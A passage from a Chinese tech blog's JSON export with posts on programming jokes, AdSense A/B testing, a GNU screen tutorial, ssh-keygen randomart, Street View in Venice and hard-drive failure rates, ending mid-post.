balloonist, “But how’d you know?” 「沒錯」，熱氣球上的人說，「可是你是怎麼知道的？」\n“Well”, says the man, “you don’t know where you are or where you’re going, but you expect me to be able to help. You’re in the same position you were before we met, but now it’s my fault.” 「呵呵」，地面上的那人說到，「你不知道你在哪裡，你也不知道你要去哪，你總希望我能幫你。你現在和我們剛見面時還在原來那個地方，但現在卻是我錯了」\n另外網路上也有一些這類型的笑話，我也順便放上來。\n牧羊人 從前，有一牧羊人，他在一條荒廢的公路邊照看他的羊群。突然，路上一輛嶄新的保時捷突然來了一個緊急剎車，停在他面前。車主是一個穿着阿曼尼的西裝、Cerutti 的鞋子、帶着 Ray-Ban 太陽眼鏡，TAG-Heuer 腕錶，系著一條范思哲領帶的年輕人走了出來，問牧羊人：\n「如果我能告訴你這裡一共有多少只羊，你能給我一隻嗎？」\n牧羊人看看這個年輕人，然後又看看他那成群的在牧場上吃草的羊，說：「行。」\n年輕人停好他的車，用筆記本連上無線網絡，接入美國宇航局的服務，用 GPS 掃描地面，然後進入數據庫，導出 60 張填滿了算法數據和校驗數據表的 Excel，然後用他的高科技的微型打印機打印出一份 150 頁的報告。他轉過頭來對牧羊人說：\n「你不多不少一共有1586隻羊。」\n牧羊人非常高興，說：「非常正確，你可以拿走一隻羊。」\n年輕人選了一隻，放進保時捷的後車箱。牧羊人看着他，問：「如果我能猜出你的職業，你能把後車箱裡的那隻動物還給我嗎？」\n年輕人回答：「當然，為什麼不行呢？」\n牧羊人：「你是一個IT顧問。\n年輕人：「你怎麼知道的？」\n牧羊人：「非常簡單。首先，你不請自來。第二，你讓我花錢來換取我已經知道的事情，三，你根本不知道我是幹什麼的…現在你能把那隻狗還給我了嗎？」\n其他 tnylea 整理了一些好笑的對答，有些可能有點假，但是有些確實很好笑，tnylea 說如果其中有三個以上你看不懂，那可能是因為你不是程式設計師，不過有很多我還真的看不是很懂。:-)\nQ: how many programmers does it take to change a light bulb? A: none, that’s a hardware problem\nQ: “Whats the object-oriented way to become wealthy?” A: Inheritance\nQ: Why did the programmer quit his job? A: Because he didn’t get arrays.\nQ: What did the Java code say to the C code? A: You’ve got no class.（你一點水準也沒有）\nQ: Why are Assembly programmers always soaking wet? A: They work below C-level.\nQ: What do cats and programmers have in common? A: When either one is unusually happy and excited, an appropriate question would be, “did you find a bug?”\nQ: What is the most used language in programming? A: Profanity.\nQ: Why did the database administrator leave his wife? A: She had one-to-many relationships\nQ: Why do programmers always get Christmas and Halloween mixed up? A: Because DEC 25 = OCT 31（十進位的 25 等於八進位的 31）\nQ: How did the programmer die in the shower? A: He read the shampoo bottle instructions: Lather. Rinse. Repeat.（無窮回圈）\n","permalink":"https://blog.gtwang.org/funny/awesome-programming-jokes/","summary":"\u003cp\u003e這裡搜集了一些關於程式設計的笑話，閒暇時可以看看。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"問路\"\u003e問路\u003c/h2\u003e\n\u003cp\u003eA man flying in a hot air balloon suddenly realizes he’s lost. He reduces height and spots a man down below. He lowers the balloon further and shouts to get directions, “Excuse me, can you tell me where I am?”\n有一個駕駛熱氣球的人發現他迷路了。他降低了飛行的高度，並認出了地面上的一個人。他繼續下降高度並對著那個人大叫，「打擾一下，你能告訴我我在哪嗎？」\u003c/p\u003e","title":"關於程式設計的幾個有趣的笑話"},{"content":"這裡介紹如何更改 AdSense 廣告程式碼進行 A/B 測試，增加網站的廣告效益。\nA/B 測試是網站在做最佳化時常用的手法，尤其是在調整廣告的擺放方式時，非常有用。舉個例子來說，假設你想在網站首頁上放置一個 Google AdSense 廣告，而一般的廣告有好多種形式，例如圖形的廣告與文字的廣告，而文字的廣告又可以自由選擇配色，到底該選擇哪一種廣告樣式才會有比較好的效益是個很複雜的問題。\n最簡單的方式就是實際進行測試，通常為了讓測試過程可以單純一些，我們會拿兩種只差一點點的廣告來比較，例如不同顏色但是相同大小的廣告，將這兩個廣告「同時」放在網頁上的同一個位置來比較。\n所謂同時放置兩種廣告的意思是將網站的瀏覽者隨機分為兩群，分別給它們不同的兩種廣告，這樣就可以同時測試兩種廣告的效益差異。\n至於為什麼要使用同時放置兩種廣告的方式，而不要將兩種廣告分開測試呢？例如一種廣告測一個月不行嗎？原因很簡單，如果在不同的時間測試不同的廣告，造成兩種廣告的差異很可能會來自時間不同的因素，例如一個廣告在測試時剛好碰到耶誕節，另一個又碰到過年，這樣很難判定差異是什麼因素造成的，所以在測試時，要盡可能將所有可能變因減少，才能比較精確測試出廣告不同所帶來的差異。\n經過這樣的測試之後，就可以觀察這兩個廣告哪一個效益比較好，最後當然就可以選擇比較好的那種廣告來使用，或是進行下一個 A/B 測試，所以經由這樣的流程，你就可以不斷的調整廣告配置，讓整個網站的效益達到最大，這就是 A/B 測試基本的概念。\n在 Google AdSense 的政策中，擅自修改 AdSense 廣告程式碼是違規的行為，但是有一些例外，在 Google AdSense 的官方網站中列出一些可以修改狀況，當然 A/B 測試就是其中一種。\n若要比較兩個相同大小的 AdSense 廣告，首先從 AdSense 的網頁上將兩個廣告的程式碼都複製下來，兩個原始的 AdSense 程式碼大概會像這樣：\n\u0026lt;script async src=\u0026#34;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;!-- G.T.Wang 側邊欄300x250（A） --\u0026gt; \u0026lt;ins class=\u0026#34;adsbygoogle\u0026#34; style=\u0026#34;display:inline-block;width:300px;height:250px\u0026#34; data-ad-client=\u0026#34;ca-pub-7794009487786811\u0026#34; data-ad-slot=\u0026#34;8257292931\u0026#34;\u0026gt;\u0026lt;/ins\u0026gt; \u0026lt;script\u0026gt; (adsbygoogle = window.adsbygoogle || []).push({}); \u0026lt;/script\u0026gt; \u0026lt;script async src=\u0026#34;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;!-- G.T.Wang 側邊欄300x250（B） --\u0026gt; \u0026lt;ins class=\u0026#34;adsbygoogle\u0026#34; style=\u0026#34;display:inline-block;width:300px;height:250px\u0026#34; data-ad-client=\u0026#34;ca-pub-7794009487786811\u0026#34; data-ad-slot=\u0026#34;2048425736\u0026#34;\u0026gt;\u0026lt;/ins\u0026gt; \u0026lt;script\u0026gt; (adsbygoogle = window.adsbygoogle || []).push({}); \u0026lt;/script\u0026gt; 而 Google AdSense 官方所提供的範本是這樣：\n\u0026lt;script async src=\u0026#34;http://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;ins class=\u0026#34;adsbygoogle\u0026#34; style=\u0026#34;display:inline-block;width:728px;height:90px\u0026#34; data-ad-client=\u0026#34;ca-publisher-id\u0026#34;\u0026gt; \u0026lt;/ins\u0026gt; \u0026lt;script\u0026gt; if (Math.random() \u0026lt; .5) { mySlotId = \u0026#39;1234567890\u0026#39;; } else { mySlotId = \u0026#39;2345678901\u0026#39;; } (adsbygoogle = window.adsbygoogle || []).push({ params: { google_ad_slot: mySlotId } }); \u0026lt;/script\u0026gt; 其中有顏色的部分就是需要自己修改的部分，首先是 style 與 data-ad-client 屬性，這個就直接參考自己的廣告程式碼，兩個大小相同的廣告程式碼在這個部分應該都是一樣的，直接複製過來就可以了。\n接著在 if 判斷式中會有兩個 mySlotId 要指定，請分別把兩個廣告的 data-ad-slot 編號複製過來，取代掉這裡的編號。\n經過修改之後，就會變成下面這樣：\n\u0026lt;script async src=\u0026#34;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;ins class=\u0026#34;adsbygoogle\u0026#34; style=\u0026#34;display:inline-block;width:300px;height:250px\u0026#34; data-ad-client=\u0026#34;ca-pub-7794009487786811\u0026#34;\u0026gt; \u0026lt;/ins\u0026gt; \u0026lt;script\u0026gt; if (Math.random() \u0026lt; .5) { mySlotId = \u0026#39;8257292931\u0026#39;; } else { mySlotId = \u0026#39;2048425736\u0026#39;; } (adsbygoogle = window.adsbygoogle || []).push({ params: { google_ad_slot: mySlotId } }); \u0026lt;/script\u0026gt;\u0026lt;/code\u0026gt; 接著把這段程式碼貼在想要放置廣告的位置上，之後所有的訪客在瀏覽時，就會執行這段簡單的 JavaScript 程式，產生一個介於 0 與 1 之間的隨機變數（Math.random()），如果這個隨機變數小於 0.5 就會顯示第一個廣告，若大於 0.5，就會顯示另外一個，這樣自然就會把所有的訪客分為兩群進行測試了。\n參考資料 Google AdSense ","permalink":"https://blog.gtwang.org/web-development/adsense-ab-testing/","summary":"\u003cp\u003e這裡介紹如何更改 AdSense 廣告程式碼進行 A/B 測試，增加網站的廣告效益。\u003c/p\u003e\n\u003cp\u003eA/B 測試是網站在做最佳化時常用的手法，尤其是在調整廣告的擺放方式時，非常有用。舉個例子來說，假設你想在網站首頁上放置一個 Google AdSense 廣告，而一般的廣告有好多種形式，例如圖形的廣告與文字的廣告，而文字的廣告又可以自由選擇配色，到底該選擇哪一種廣告樣式才會有比較好的效益是個很複雜的問題。\u003c/p\u003e","title":"更改 Google AdSense 廣告程式碼進行 A/B 測試（A/B Testing）"},{"content":"code:deck 是一個專門設計給電腦迷的撲克牌，是個很有趣的設計。\ncode:deck 撲克牌每張牌上都有關於該數字的程式碼，每個數字都對應不同的程式語言：\n2 – Assembly 3 – Bash 4 – C++ 5 – Brainfuck 6 – Python 7 – Objective-C 8 – C# 9 – JAVA 10 – PHP J – JavaScript Q – CSS K – HTML A – SQL 在撲克牌上也會標明該程式碼是哪一種語言。\n這個撲克牌的設計風格很獨特，就算看不懂裡面的程式，感覺起來也很時尚，很適合當作禮物送給一些電腦 geek 朋友（大概就是很喜歡玩電腦的那種）。\n","permalink":"https://blog.gtwang.org/funny/programming-code-deck-of-cards/","summary":"\u003cp\u003e\u003ca href=\"http://varianto25.com/\" target=\"_blank\"\u003ecode:deck\u003c/a\u003e 是一個專門設計給電腦迷的撲克牌，是個很有趣的設計。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003ecode:deck 撲克牌每張牌上都有關於該數字的程式碼，每個數字都對應不同的程式語言：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e2 – Assembly\u003c/li\u003e\n\u003cli\u003e3 – Bash\u003c/li\u003e\n\u003cli\u003e4 – C++\u003c/li\u003e\n\u003cli\u003e5 – Brainfuck\u003c/li\u003e\n\u003cli\u003e6 – Python\u003c/li\u003e\n\u003cli\u003e7 – Objective-C\u003c/li\u003e\n\u003cli\u003e8 – C#\u003c/li\u003e\n\u003cli\u003e9 – JAVA\u003c/li\u003e\n\u003cli\u003e10 – PHP\u003c/li\u003e\n\u003cli\u003eJ – JavaScript\u003c/li\u003e\n\u003cli\u003eQ – CSS\u003c/li\u003e\n\u003cli\u003eK – HTML\u003c/li\u003e\n\u003cli\u003eA – SQL\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在撲克牌上也會標明該程式碼是哪一種語言。\u003c/p\u003e","title":"code:deck 專門設計給電腦迷（Geek）的撲克牌"},{"content":"這裡介紹如何使用 screen 指令來操控 UNIX/Linux 的終端機，讓工作更有效率。\nscreen 指令是一般 UNIX/Linux 使用者或管理者常會使用的終端機管理程式，它可以讓一個終端機當成好幾個來使用，對於以 SSH 連線到伺服器上工作的人會很有用。\n通常一個終端機（terminal 或 console）只能開啓一個互動式（interactive）的 shell 來使用，而藉著 screen 的幫助，使用者可以在一個終端機下，同時開啓多個互動式的 shell，除了自己使用之外，還可以讓 session 分享給不同的使用者，或是讓執行中的 session 暫時卸離（detach），隨後再重新連接（attach）即可繼續操作。\n安裝 screen 某些 Linux 發行版可能本身就已經內建 screen 這個指令了，但如果你所使用的 Linux 系統沒有安裝，通常也都可以透過套件管理程式直接安裝編譯好的版本，因為 screen 是一個很常用的指令之一，通常安裝起來不需要花費太多的力氣。\n在 Debian 或 Ubuntu Linux 中若要安裝 screen 可以使用 apt-get 來安裝：\nsudo apt-get install screen 而 Red Hat 系列的 Linux（如 Fedora 等）則可使用 yum：\nyum install screen 開始使用 screen 若要使用 screen 這個工具，就直接在終端機執行它：\nscreen 這時候會出現一些訊息，按下空白鍵跳過之後，就可以看到一個新的 shell。下面這個動畫是示範進入 screen 環境後，再執行 exit 離開的狀況。\n從這個動畫中大家可以發現到，進入 screen 所建立的新 shell 之後，看起來跟原本的畫面一模一樣，但是它其實是一個新開啟的 shell，而在離開 screen 環境之後，就會回到原本的 shell 中。\n線上操作說明 在進入 screen 的環境之後，其實就跟一般的 shell 環境一樣，一般命令列中可以做的事情在這裡也都可以做，只不過在這裡還多出了一些 screen 專屬的控制指令可以使用，而這些 screen 控制指令可以使用 Ctrl + ? 來查詢線上的操作說明。\n在查詢線上控制指令時，可以使用 Enter 或空白鍵來換頁，看完之後就會回到原來 screen 的環境。\n將 screen 卸離（Detach）與重新連接（Re-attach） 使用 screen 最大的好處之一就是可以將其卸離，而在重新連接之後完全不會影響正在執行中的任何工作，以下舉個實際的例子來說明這個功能在什麼時候會用到。\n假設你現在要更新 Linux 伺服器，而更新的過程需要使用 wget 下載數百 MB 甚至幾 GB 的更新檔案，你可能會使用 SSH 連線到伺服器上，然後執行 wget 開始下載，這個時候如果網路比較慢，就會需要等很久，在等待的期間又不能把 SSH 連線關掉（因為這樣下載就會中斷），唯一的辦法就是放著慢慢等，這個問題有時候很頭痛，尤其是在要下班的時候。\n像這樣的狀況就可以使用 screen 來解決，這裡我們以 ping 指令來示範如何將執行中的工作卸離，然後再重新連接。一開始先執行\nscreen 進入 screen 的環境，接著執行\nping www.hinet.net 這個指令，讓它不斷測試與 Hinet 網頁之間的網路連線品質。\n使用 ping 來示範的原因是因為它在執行之後就會不斷的送出 ICMP 封包，直到使用者按下 Ctrl + c 為止，所以它可以一直執行下去不會中斷，方便我們測試 screen 的卸離功能。\n接著使用者就可以按下 Ctrl + a 後，再按下 d 鍵（detach），這時候整個 screen 就會被卸離，然後出現類似 [detached from 5326.pts-0.seal-home] 這樣的訊息，這個時候就表示這個 screen 已經被卸離了，有點像是放進背景中執行一樣，而這個時候你甚至可以把 SSH 連線中斷也不會影響該工作的執行。\n之後若要重新連接上這個 screen，可以執行\nscreen -r 這樣就會回到之前的 screen 環境中，這時候你也可以看到 ping 指令還在執行，並沒有受到影響。下面這個動畫是整個流程的畫面。\n當然除了 ping 之外，其餘任何工作都可以使用這樣的方式卸離，包含使用 wget 下載、以 apt-get 安裝套件或其他各種耗時的指令都可以。\n同時使用多個 screen 工作環境 如果你感覺只有一個 screen 工作環境不夠用，你也可以將現有的 screen 工作環境卸離後，在原來的 shell 中再執行一次 screen 指令，建立另外一個新的 screen 環境來使用。\n如果在同一時間有好多個 screen 工作環境都處於卸離狀態，則在重新連接時可以使用\nscreen -ls 來列出目前所有的 screen 工作環境，輸出會類似這樣：\nThere are screens on: 20451.pts-4.steteo1 (11/15/2013 10:57:34 AM) (Detached) 20393.pts-4.steteo1 (11/15/2013 10:57:23 AM) (Detached) 2 Sockets in /var/run/screen/S-seal. 若要連接第一個 20451.pts-4.steteo1 這個 screen 工作環境，則在 -r 參數之後加上這個名稱即可：\nscreen -r 20451.pts-4.steteo1 這樣就可以重新連接上去了，由於這種指令很冗長，使用上不方便，所以 screen 也允許使用者只使用名稱的開頭，只要足夠提供它辨識要指定的 screen 工作環境是哪一個就可以，以這個例子來說，就可以改為：\nscreen -r 20451 這樣使用上會比較方便。而因為另外一個 screen 工作環境是 203 開頭，所以最精簡的狀況可以只輸入 204，也就是這樣：\nscreen -r 204 使用多個 screen 視窗 若要同時使用多個互動式 shell，最方便的方式是在一個 screen 工作環境中建立多個「視窗」，而每一個視窗都可以提供一個獨立的 shell 給使用者進行互動式的操作，這樣的作法會比使用多個 screen 工作環境方便，尤其是在切換不同的 shell 時不用卸離再重新連接。\n在 screen 工作環境中若要建立新的視窗，可以按下 Ctrl + a 後，再按下 c 鍵（create），這樣就會建立一個新的視窗，並出現一個獨立的互動式 shell。\n若要在不同的視窗之間切換，可以按下 Ctrl + a 後，再按下 n 鍵（next），這樣就會切換至下一個視窗，若要切換至錢一個視窗，則可以按下 Ctrl + a 後，再按下 p 鍵（previous）。\n紀錄所有動作 screen 除了提供獨立的工作環境之外，它還可以把使用者所有的動作記錄下來。\n若要開啟 screen 的紀錄功能，可以按下 Ctrl + a 後，再按下 H 鍵（請注意這裡是大寫的 H，也就是要按著 Shift 鍵再按 h 鍵），這時候在畫面的左下角會出現紀錄檔名稱，例如： Creating logfile “screenlog.0“ 就像這樣：\n這樣 screen 就會將所有的動作都紀錄再這個檔案中，若要結束紀錄功能，只要再按一次 Ctrl + a 與 H 鍵即可。\n除了在 screen 工作環境中動態開啟紀錄功能之外，也可以在一開始執行 screen 指令時就使用 -L 參數直接開啟：\nscreen -L 由 screen 所產生的紀錄檔因為包含一些跳脫序列（Escape Sequences），所以如果使用一般的文字編輯軟體開啟的時候，會出現一些亂碼，這是因為一般的軟體無法正確解析這些跳脫序列的關係，要查看紀錄檔最方便的作法就是直接使用 cat 指令在終端機中印出來：\ncat screenlog.0 如果要把跳脫序列直接拿掉，可以使用這個 alias：\nalias stresc=\u0026#39;sed -r \u0026#34;s/\\x1B\\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g\u0026#34;\u0026#39; stresc screenlog.0 \u0026gt; screenlog.0.txt 這樣轉出來的 screenlog.0.txt 就可以使用一般的文字編輯軟體開啟了。\n鎖定 screen 螢幕 如果在使用 screen 管理伺服器時，要暫時離開電腦，也可以使用 screen 的螢幕鎖定功能，當要鎖定螢幕時可按下 Ctrl + a 後，再按下 x 鍵，這樣螢幕就會被鎖住，就像這樣：\n若要解開鎖定，則輸入自己的 Linux 系統帳號的密碼即可。\n設定 screen 工作環境密碼 除了鎖定螢幕之外，screen 也可以設定工作環境的密碼，這個密碼是在卸離後要重新連接時用的。要設定這個密碼可以在 screen 的設定檔 $HOME/.screenrc 中加入：\npassword crypt_password 其中 crypt_password 就是經過加密編碼後的密碼，要產生加密編碼的密碼可以使用 mkpasswd 這個指令，例如將 sealmemory 這個密碼進行編碼，則執行：\nmkpasswd sealmemory 輸出為\niIPFln8hvJZ6c 這個就是經過加密編碼後的密碼，取得這個密碼後，就可以把它寫入 $HOME/.screenrc，就像這樣：\npassword iIPFln9hvJZ6c 這樣下次在 screen 工作環境卸離後再重新連接時，它就會要求輸入這個密碼：\n如果有在 $HOME/.screenrc 中設定密碼，則在鎖定 screen 螢幕功能時，解鎖的時候就會要求輸入兩次密碼，一次是 Linux 系統的密碼，另外一次是自己設定的密碼。\n離開 screen 工作環境 若要離開 screen 工作環境有幾種不同的方式，如果你的工作還沒做完，想要暫時離開，則使用上面介紹的卸離功能（Ctrl + a 與 d），而如果是工作都已經做完了，則可直接以 exit 指令離開 shell，在 screen 工作環境中所有的 shell 都結束後，screen 會自動結束，另外也可以使用 Ctrl + a 與 k（kill），直接關閉整個 screen 工作環境。\nscreen 參數與操作指令速查表 因為 screen 的指令太多了，無法一一介紹，這裡將常用的 screen 操作指令的簡略說明整理出來，方便大家查閱。\nscreen 參數表 screen 參數 說明 -c file 使定使用的設定檔（預設為 $HOME/.screenrc） -d [pid.tty.host] 強制將指定的 screen 工作環境卸離 -L 開啟自動紀錄功能 -ls 或 -list 列出目前所有執行中的 screen 工作環境 -r [pid.tty.host] 重新連接執行中的 screen 工作環境 -R 重新連接最近卸離的 screen 工作環境 -U 以 UTF-8 模式執行 -wipe [match] 將廢棄的 screen 工作環境清除 screen 操作指令表 screen 參數 說明 Ctrl + a 與 c 建立新 screen 視窗 Ctrl + a 與 Ctrl + a 切換至上一個 screen 視窗 Ctrl + a 與數字鍵 到 9 切換至指定編號的 screen 視窗 Ctrl + a 與 n 切換至下一個的 screen 視窗 Ctrl + a 與 p 切換至下一個的 screen 視窗 Ctrl + a 與 w 列出目前所有的 screen 視窗 Ctrl + a 與 \u0026quot; 列出目前所有的 screen 視窗，並可用上下鍵選擇要切換的設窗 Ctrl + a 與 k 關閉目前的 screen 視窗 Ctrl + a 與 d 卸離 screen 工作環境 Ctrl + a 與 Esc 鍵（或 Ctrl + a 與 [） 進入複製模式（copy mode），可用方向鍵操作捲軸，或用 / 與 ? 來搜尋，按下空白鍵開始選取要複製的內容，選取完成後再按下第二次空白鍵，即可複製，隨後使用 Ctrl + ] 可貼上複製的內容。 Ctrl + a 與 S 將畫面分割成上下兩個區域 Ctrl + a 與 Q 關閉分割畫面 Ctrl + a 與 Tab 鍵 切換分割畫面 Ctrl + a 與 t 顯示目前系統的時間與負載狀況 Ctrl + a 與 a 送出 Ctrl + a Ctrl + a 與 ? 顯示說明 Ctrl + a 與 v 顯示版本資訊 Ctrl + a 與 x 鎖定 screen 螢幕 Ctrl + a 與 H 開啟或結束 screen 紀錄功能 Ctrl + a 與 C 清除 screen 視窗中的內容 Ctrl + a、D 與 D 強力卸離，卸離 screen 工作環境之後，直接登出 Ctrl + a 與 Ctrl + g 視覺化鈴聲（visual bell）切換 Ctrl + a 與 i 顯示目前 screen 視窗的資訊 Ctrl + a 與 l 重繪目前 screen 視窗的內容 參考資料 Tecmint GNU Screen ","permalink":"https://blog.gtwang.org/linux/screen-command-examples-to-manage-linux-terminals/","summary":"\u003cp\u003e這裡介紹如何使用 \u003ccode\u003escreen\u003c/code\u003e 指令來操控 UNIX/Linux 的終端機，讓工作更有效率。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003escreen\u003c/code\u003e 指令是一般 UNIX/Linux 使用者或管理者常會使用的終端機管理程式，它可以讓一個終端機當成好幾個來使用，對於以 SSH 連線到伺服器上工作的人會很有用。\u003c/p\u003e","title":"使用 Screen 指令操控 UNIX/Linux 終端機的教學與範例"},{"content":"這裡告訴你 ssh-keygen 在建立金鑰時所產生的 randomart 是做什麼用的。\n一般在使用 OpenSSH 的 ssh-keygen 指令建立認證用的金鑰時，建立完成之後會顯示一個 randomart，這像這樣：\n但是你可能搞不清楚這個圖到底是作什麼用的。\n這個 randomart 其實只是用來讓人比較容易辨識這個金鑰而已，舊版的 OpenSSH 是使用十六進位的方式來顯示金鑰的 fingerprint，就像這樣\n9a:69:c2:f3:af:1d:92:3f:ff:1c:51:5c:76:b5:87:73 而這種方式對於人眼而言比較難以辨識，所以現在就多了這種 randomart 的方式，讓人可以恨快的辨別不同的金鑰，像下面這些不同的金鑰就可以很快辨別它們是不同的：\n一個實際的例子就是在進行 SSH 連線時，以 randomart 的方式顯示 fingerprint，讓使用者方便確認金鑰是否有更動。若要讓 ssh 以 randomart 的方式顯示 fingerprint，可以加上 -o VisualHostKey=yes 參數，例如：\nssh -o VisualHostKey=yes seal@myhost.com 這樣就會顯示該 SSH 伺服器的 randomart：\n但是其實在一般的狀況可能也很少會需要去仔細檢查這個 randomart，因為這些金鑰在第一次連線之後，應該都會自動儲存在 ~/.ssh/known_hosts 這個檔案中，而之後再進行相同 SSH 伺服器的連線時，也會自動檢查金鑰是否有被更動過。\n只有在設定不儲存伺服器的金鑰或是時常在新的電腦中開啟 SSH 連線的狀況下，才會需要用人眼的方式確認該金鑰是不是平常所使用的那個，如果你發現這張圖突然跟平常的不一樣，大概只有兩種狀況，一個是你的 SSH 伺服器有重新安裝或是更換金鑰，如果沒有做過這些動作，那你就要小心是不是遭受到中間人攻擊（Man-in-the-middle）。\n參考資料 superuser ","permalink":"https://blog.gtwang.org/tips/ssh-keygen-randomart/","summary":"\u003cp\u003e這裡告訴你 \u003ccode\u003essh-keygen\u003c/code\u003e 在建立金鑰時所產生的 randomart 是做什麼用的。\u003c/p\u003e\n\u003cp\u003e一般在使用 OpenSSH 的 \u003ccode\u003essh-keygen\u003c/code\u003e 指令建立認證用的金鑰時，建立完成之後會顯示一個 randomart，這像這樣：\u003c/p\u003e\n\u003cp\u003e但是你可能搞不清楚這個圖到底是作什麼用的。\u003c/p\u003e","title":"ssh-keygen 在建立金鑰時所產生的 randomart 是做什麼用的？"},{"content":"這張圖顯示了 2013 年最熱門的程式語言排行榜，第一名是 Python，佔了 29.8%。\n在這個時代作為一個專業的程式設計師，通常都需要不斷的學習新的程式語言，如果僅僅只會單一種程式語言，通常是不太夠用的，通常除了專精一種程式語言之外，最好涉獵一些其他的語言作為輔助。\n但是現在新興的程式語言非常多，到底該學習哪一種是個很困擾的問題，除了考慮自己的興趣與工作需要之外，了解整體的發展趨勢也是很重要的。\n這張圖是統計 2013 年最熱門的程式語言，前三名為 Python（29.8%）、Java（25.8%）與 C++（12.6%），如果你想要學點什麼新鮮的程式語言，我想這些是很值得考慮的選項。\n參考資料 Crispy Codes ","permalink":"https://blog.gtwang.org/funny/python-popular-programming-language-year-2013/","summary":"\u003cp\u003e這張圖顯示了 2013 年最熱門的程式語言排行榜，第一名是 Python，佔了 29.8%。\u003c/p\u003e\n\u003cp\u003e在這個時代作為一個專業的程式設計師，通常都需要不斷的學習新的程式語言，如果僅僅只會單一種程式語言，通常是不太夠用的，通常除了專精一種程式語言之外，最好涉獵一些其他的語言作為輔助。\u003c/p\u003e","title":"2013 年最熱門的程式語言：Python 排名第一"},{"content":"水都威尼斯是世界上美麗的城市之一，現在你可以透過 Google 街景服務，到那裡一探究竟。\nGoogle 的街景服務除了提供一般道路之外，也不斷持續增加各種附加的服務，這次增加的是水都威尼斯（Venice）的景色，在這裡 Google 當然不可能使用街景車來拍攝，除了靠著人力背著 Trekker 裝備拍照之外，還坐上船實際走過威尼斯的水道，讓使用者更有身歷其境的感覺。\nGoogle 這次在威尼斯拍攝了非常大量的街景，以人工行走的方式拍了 265 英里，而以船載著 Trekker 拍攝的部分也有 114 英里。\n除了一些明顯的地標之外，這次的拍攝也包含許多不容易被發現的景點，例如托爾切洛島的魔鬼橋等。\n除了觀看目前威尼斯的景色之外，也可以透過 Take a tour 來比較幾個世紀前畫家在這裡所畫的畫。\nGoogle 的街景服務到目前為止已經拍攝了世界上很多的景點，像是美國太空總署（NASA）、法國艾菲爾鐵塔、日本富士山、尼泊爾聖母峰、巴西雅馬遜盆地等，有興趣的人可以去逛逛。\n參考資料 Google Official Blog ","permalink":"https://blog.gtwang.org/funny/street-view-floats-into-venice/","summary":"\u003cp\u003e水都威尼斯是世界上美麗的城市之一，現在你可以透過 \u003ca href=\"https://www.google.com/maps/about/behind-the-scenes/streetview/treks/\"\u003eGoogle 街景服務\u003c/a\u003e，到那裡一探究竟。\u003c/p\u003e\n\u003cp\u003eGoogle 的\u003ca href=\"https://www.google.com/maps/about/behind-the-scenes/streetview/treks/\"\u003e街景服務\u003c/a\u003e除了提供一般道路之外，也不斷持續增加各種附加的服務，這次增加的是水都威尼斯（Venice）的景色，在這裡 Google 當然不可能使用街景車來拍攝，除了靠著人力背著 Trekker 裝備拍照之外，還坐上船實際走過威尼斯的水道，讓使用者更有身歷其境的感覺。\u003c/p\u003e","title":"Google 街景服務：水都威尼斯（Venice）"},{"content":"你知道一般的硬碟使用多久之後會壞掉嗎？這裡有專業的分析報告。\n現在的資訊設備蓬勃發展，各種電腦應體設備隨處可見，而這些電腦設備中通常負責儲存資料的就是硬碟，從個人電腦到大型的超級電腦與雲端服務的伺服器都是這樣，而這些負責儲存資料的硬碟如果損壞了，裡面的資料也就會隨之消失，所以一顆硬碟的壽命有多久就是個很重要的問題。\n在過去似乎比較少人真正做過這方面的研究（至少有寫出研究報告的很少），Backblaze 這家提供無上限雲端儲存服務的公司，以自己的 25,000 顆硬碟作實驗，測試到底一顆硬碟能夠使用多久，以下是他們的測試報告。\n一顆硬碟可以使用多久？ Backblaze 自己拿出 25,000 顆硬碟，讓這一批硬碟持續運轉 4 年，在運轉的期間如果有硬碟壞了，他們就會記錄下來，然後再換上新的硬碟。\n經過了 4 年之後，他們得到了有趣的實驗結果，下面這張圖顯示了在這四年中每個時間硬碟的年故障率（annual failure rate）。\n這張圖顯示了硬碟的故障率是有階段性的，在一開始的一年半是第一階段，這時候硬碟的年故障率是 5.1%，而在一年半到三年之間是第二階段，這時候的年故障率降為 1.4%，而在三年之後又提升至 11.8%。\n也就是說，大約有 92% 的硬碟可以撐過 18 個月，而有 90% 左右的硬碟可以使用到三年，在這之後，故障率就大幅提升，到了第四年只剩下 80% 的硬碟還活著，之後的數據在這張圖中就沒有顯示了，但是據 Backblaze 的可靠度工程師 Brian Beach 推測，之後的年故障率應該會接近 12%，以這樣的數據來估算，只有 50% 的硬碟可以使用超過六年。\n硬碟為什麼會壞掉？ 硬碟的年故障率分為三個階段，而這三個階段也對應了三個硬碟損壞的原因，第一個階段的損壞原因來自於硬碟本身在製造上的缺陷（manufacturing defects），那些在這時候就壞掉的硬碟通常是屬於瑕疵品。\n接著第二階段的損壞是因為隨機性的損壞（random failures），簡單講就是剛好運氣差，它就是不小心壞了，沒有什麼特別原因。\n自從三年之後，進入最後一個階段，這時候是因為硬碟已經使用一段時間了，裡面的零組件漸漸自然損壞（wear out）。\n另外值得注意的是，Backblaze 